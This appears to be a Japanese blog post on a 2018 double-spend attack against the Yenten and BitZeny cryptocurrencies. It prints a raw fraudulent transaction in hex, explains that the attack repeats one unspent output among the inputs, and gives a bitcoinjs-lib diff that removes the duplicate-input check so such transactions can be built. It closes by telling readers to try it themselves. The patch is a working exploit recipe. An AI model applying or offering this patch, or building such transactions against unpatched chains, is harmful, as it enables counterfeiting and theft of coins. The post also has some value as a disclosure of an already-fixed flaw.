Prologue
YentenとかBitZenyで二重支払いトランザクションが作られて承認され、大変なことになりましたね。
これは大変なことやと思うよ (最低3本のチェーンが存在する) pic.twitter.com/iHWvDEpam1
— nao20010128nao@LetsMineZNY.orz.hm (@2ndLesmi) 2018年11月5日
その事態の割に、作り方は難しくないのです。
Analyze
不正トランザクションの一つが、これです。(BitZenyのc0d82bd87257d12106d046be0803f92de55eaa4316912c836ddf9320f2663040
のもの)
01000000013ee1bc22e68bb309c6875259e672c2f791af876be6bb76313f5c22a1aa087ae4000000008a473044022067a2edfc50ddc67346770cc3afd600937c69fe2135b2c71e1ff82f5d51e46a1b0220169becbd124ba2acec56a0ca573c661d6e32f87c45c759150afb3f30b41c39070141043ae0fe272e460e9b2c72e42579126142b42cc9d49cc1a00462bcbdf66f50d9ef28f5adfed6d2e4049b275448bbb994360b3eef533906a269837c5bc420cf8a73ffffffff14cef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88ac00000000
BlockCypherに掛けてみるとこんな感じ。
Making
「二重支払い」と言うほどですから、VInに同じUTXOが2つ以上並ぶわけです。そう、これだけ。
どこをどう、とまでは言いませんが、coindを少しいじる必要がありそうです。
bitcoinjs-libで作る場合、以下のパッチを当てて下さい。
bitcoinjs-lib.patch
diff --git a/src/transaction_builder.js b/src/transaction_builder.js
index 5760fac..ee1f8f2 100644
--- a/src/transaction_builder.js
+++ b/src/transaction_builder.js
@@ -560,7 +560,6 @@ TransactionBuilder.prototype.__addInputUnsafe = function (txHash, vout, options)
}
var prevTxOut = txHash.toString('hex') + ':' + vout
- if (this.prevTxMap[prevTxOut] !== undefined) throw new Error('Duplicate TxOut: ' + prevTxOut)
var input = {}
供養
既に対策されているので、供養として公開します。やりたければ後は頑張って下さい。以上。